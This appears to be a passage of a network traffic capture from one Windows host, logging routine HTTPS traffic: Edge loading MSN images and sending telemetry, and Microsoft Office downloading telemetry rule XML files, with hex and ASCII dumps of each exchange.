2024-11-25 17:28:50 UTC	6000	IN	Data Raw: 4b a4 d1 38 7f 57 42 ae d3 9b e5 e0 8a f9 96 c6 9f 40 2d be 75 b9 45 74 ed f3 1a 97 27 25 c1 6c 39 f3 3d e9 be b2 d2 bc 63 78 11 ab 6d e2 fd 9e d2 fc 47 e8 2f ae b3 0e 99 27 cf 02 a3 28 6c 4e b8 3d 9d a6 5a 89 9d db f8 f2 e4 bc 87 e2 3a fc 2b d6 65 9b 76 1d 5b 0d 54 56 da 71 ea f6 19 d3 66 ae 77 96 6d af 46 ba da 34 52 7b a4 83 2d f2 64 34 96 ef 6a 0b ac 35 cd 2d fe 63 8b bd fe f3 25 26 b6 7c cb 93 f9 58 fc 58 ef 8d 74 92 96 e3 76 f4 f7 7a ca cb 33 9b c4 8f a4 d7 42 d8 5e 77 58 36 fb 2c 94 d4 4c 4b 6a ad b6 bc d1 6b 8c af b4 c1 6a ca 5b 53 f3 7e f1 a7 66 5a 37 b5 e1 bb 67 3e 22 a5 96 ee b8 2b f6 0b d5 d6 35 24 f7 f6 01 35 71 aa 5d 7b 7b 0d 71 df 5f 5c 99 2b 1d ff 00 7f 60 3b 58 5a fa e2 80 b7 5c 9d f6 19 38 c6 f0 b4 f9 ad 80 e4 d2 c7 67 4e cf 30 bb e4 ca Data Ascii: K8WB@-uEt'%l9=cxmG/'(lN=Z:+ev[TVqfwmF4R{-d4j5-c%&\|XXtvz3B^wX6,LKjkj[S~fZ7g>"+5$5q]{{q_\+`;XZ\8gN0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49881	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:50 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDBP Last-Modified: Wed, 20 Nov 2024 15:58:39 GMT X-Source-Length: 59155 X-Datacenter: eastus X-ActivityId: 95d59d89-9e78-4fb4-b5cb-b42dc811ee6a Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 59155 Cache-Control: public, max-age=383477 Expires: Sat, 30 Nov 2024 04:00:06 GMT Date: Mon, 25 Nov 2024 17:28:49 GMT Connection: close
2024-11-25 17:28:50 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 17:28:50 UTC	16384	IN	Data Raw: 40 c1 9d a0 da 00 d4 26 32 c8 84 1b 03 01 50 d3 b8 4a 59 c9 cf ab 29 a6 9e 07 ad e5 79 ba 73 52 c4 f1 5d 06 d9 59 b5 65 39 46 3b 9b 71 9c 79 b7 db dd 9c 27 c9 f4 29 1c e2 72 9c ed 39 89 26 76 13 93 cc cf 09 c6 6a 5e 9e 39 46 51 70 d0 22 04 c9 a9 a4 82 90 4a 34 92 44 90 08 da c8 51 9c 92 40 34 da 41 24 69 24 d1 f8 20 dd 04 bd 90 02 11 04 5d db c6 49 55 14 d7 7a 4c a9 5f 27 94 ee 50 5d 26 82 b1 cf 2c 79 4c a3 2c 31 9e 71 0e 3d 7d 9d a2 96 9f 1c 0e 6e 67 21 98 be c7 d1 f2 3d 58 53 37 8f 51 9c 79 b0 cb d3 e1 2f 07 5f 2a d5 e8 a7 57 2e 96 83 e8 ae 9a 6a bd 26 61 57 29 91 5d f4 25 c0 e9 c7 d6 71 89 f9 39 f2 f4 77 ca 61 cf 75 08 d8 92 2c 97 4c ec d2 2b 04 92 46 56 90 2d 90 a0 c8 11 6c 85 21 a4 13 0c 0f a2 0d 00 20 94 22 30 b6 20 ca c5 0a 11 40 ac 04 81 81 05 13 Data Ascii: @&2PJY)ysR]Ye9F;qy')r9&vj^9FQp"J4DQ@4A$i$ ]IUzL_'P]&,yL,1q=}ng!=XS7Qy/_*W.j&aW)]%q9wau,L+FV-l! "0 @
2024-11-25 17:28:50 UTC	2474	IN	Data Raw: 90 1a 85 31 8d 7e 02 d9 d7 c0 de 09 64 5a 8f 4a bd 91 6c eb e0 5a 81 7c aa f6 95 fa 57 43 1e a9 3d 30 af 67 bf d8 57 45 ea 0d de 66 52 fb a9 33 79 f9 2b 4b 7d 03 bc ff 00 6c a7 f4 f1 82 58 c7 a6 7a 09 63 c7 83 92 3e 6b 2f 45 35 3e a4 23 e6 f6 51 ee 5c 63 bb 3f 0a 75 6d f1 6b e9 f7 f5 0c b2 bb e4 a8 f9 ca f4 53 4a e8 9f 89 93 e6 b3 bf 54 70 48 af 0f 73 cb dd 3e 26 df 9b a6 b2 87 f4 8e 2b cf cd 7f f6 56 64 eb ad df 5d 4f a5 8f c1 cf f7 47 e4 bc 5c 78 3d 05 84 af 69 0b 39 54 df 5d 1f 89 1e 78 90 57 81 c7 29 f6 4f 8b ff 00 18 77 bd 7e 5d 7f d9 4f 44 b1 7f bb e5 d6 96 fa 3c 4e 13 41 82 bc 0c 78 e4 5e 2e 5c 21 d8 7c f6 56 8a 2a 7d 48 cd f3 fb 32 d7 4b 39 90 c9 0f 61 51 b3 87 04 f8 b9 f1 85 d7 cf 66 e8 54 ae 89 ef 31 7c ce 6d 57 d4 fb bb 8a f6 49 05 e8 c2 3b 42 Data Ascii: 1~dZJlZ\|WC=0gWEfR3y+K}lXzc>k/E5>#Q\c?umkSJTpHs>&+Vd]OG\x=i9T]xW)Ow~]OD<NAx^.\!\|V*}H2K9aQfT1\|mWI;B
2024-11-25 17:28:50 UTC	16384	IN	Data Raw: 45 d7 53 ba d3 47 a7 b2 9b cb a6 30 74 da a9 68 6e 04 97 15 d7 a5 e0 9f e8 5b f4 29 1f 8b e4 5e 17 9b ce 59 cd a5 b5 65 a6 aa 9a 52 4f ca b4 d9 4a 56 3f 99 8b 0d 25 14 b5 67 1a 14 4c 36 f1 94 b6 cd d5 b8 47 a4 b1 fe 9d 1b fc ff 00 99 e9 de d3 d0 ee 32 69 35 99 53 5e 5a 5a 54 53 a1 3d af 77 b0 fc 58 2f 0a 5e 7e ca 52 94 45 15 26 a3 cd 66 97 7e c4 da 7a 26 56 83 2a a8 a5 d3 5e c9 d1 e6 99 d2 b4 55 17 b5 4a 58 69 3d 25 59 58 a5 52 4d a4 9d 72 a6 9a 14 df 45 3b 78 19 3c 8a 6a b4 a3 e9 a6 d5 2e fa aa 9d 3b 12 db 10 54 6e 42 67 6e 5c 0a f2 a1 d7 57 95 fa 74 d3 42 fd 34 a7 85 b6 f6 6c 6b 15 a4 ad 57 2e a8 84 e6 28 6a db 8f 36 64 e2 9d 2b f4 7e 66 e0 f4 9f db d0 ea c9 69 45 ba 21 2c 5a a5 3e 9c 56 dc 4c 17 2a 92 9c 70 9c a6 e7 ea a5 e8 4d e0 96 e9 65 c6 e7 9a 27 Data Ascii: ESG0thn[)^YeROJV?%gL6G2i5S^ZZTS=wX/^~RE&f~z&V^UJXi=%YXRMrE;x<j.;TnBgn\WtB4lkW.(j6d+~fiE!,Z>VLpMe'
2024-11-25 17:28:50 UTC	8048	IN	Data Raw: 3e f7 2d 77 22 7b ef 78 2e 80 24 f7 8d 97 75 e9 11 2c 1a c6 a7 53 e9 a7 72 6a 3b 99 a5 fb f8 79 69 0f be ea 70 5d 2c 0c 8a 56 9e 3b c1 76 2f c2 07 e1 87 f4 f8 b2 6b fa 9f 80 8e c9 1a 2f 6f 42 23 a1 2d 38 ec 89 eb 1f 87 5b f9 13 09 6a 5a 51 fc d5 3d 88 46 0e 62 3c b3 84 bf 82 f8 8d 8a fb 5c ee 8c 10 9e db af 6c 31 2e fc 76 b1 1b 59 57 6e 6d ee f1 63 6d d0 e1 5f a1 6f 7a 38 23 3b 55 60 94 60 e2 62 f1 eb aa cc 53 18 af 35 6f 0b b4 10 a8 68 9f cb f2 d2 af 7e 03 a6 9d 9c 36 c2 d2 f7 bd c6 3a 54 4a 4f 19 77 7c df 70 ea 1c ec d3 c1 68 e9 25 4d d3 bb 4c cb 5b e3 e0 b4 6d 61 4e 16 db 92 df 56 96 64 aa d3 76 df cb 4f e9 5b c6 98 5e c9 6b df a4 93 6d b7 4e 2a 5e d7 b1 07 ab 6e ef d9 7b 99 dd 3f 97 bd e8 1b 6a e3 d7 b7 82 d0 49 9f 86 cc 37 6f 7b d8 dd da 38 6b 7b 11 Data Ascii: >-w"{x.$u,Srj;yip],V;v/k/oB#-8[jZQ=Fb<\l1.vYWnmcm_oz8#;U``bS5oh~6:TJOw\|ph%ML[maNVdvO[^kmN*^n{?jI7o{8k{

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:49 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:49 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172849Z-174c587ffdf4zw2thC1TEBu34000000006c0000000006ufw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:50 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:50 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b6ecb1ee-501e-008f-3044-3c9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172850Z-15b8b599d885v8r9hC1TEB104g000000069g00000000cpu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:50 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172850Z-15b8b599d88z9sc7hC1TEBkr4w00000006b000000000fhms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:50 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172850Z-174c587ffdfl22mzhC1TEBk40c00000006eg000000006drk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:50 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:50 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:50 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: c388be8e-101e-008e-2ebf-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172850Z-15b8b599d88hd9g7hC1TEBp75c0000000690000000005ke5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:50 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:51 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: b8b6ef80-e01e-0051-723f-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172852Z-15b8b599d885ffrhhC1TEBtuv000000006cg000000002zwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49891	13.89.179.8	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732555728972&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11537 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 17:28:52 UTC	11537	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 37 3a 32 38 3a 34 38 2e 39 36 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 31 33 66 33 38 36 61 2d 61 30 38 35 2d 34 35 61 34 2d 62 32 37 65 2d 30 36 32 37 32 32 38 66 64 61 33 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 38 39 31 36 31 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T17:28:48.969Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"413f386a-a085-45a4-b27e-0627228fda3a","epoch":"389161769"},"app":{"locale"
2024-11-25 17:28:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=83dbc48f15f741fd99d3422e14bc138f&HASH=83db&LV=202411&V=4&LU=1732555732365; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 17:28:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9d60971f247d4d10973d0b4a6180e70a; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 17:58:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3393 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 17:28:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49889	20.190.181.4	443

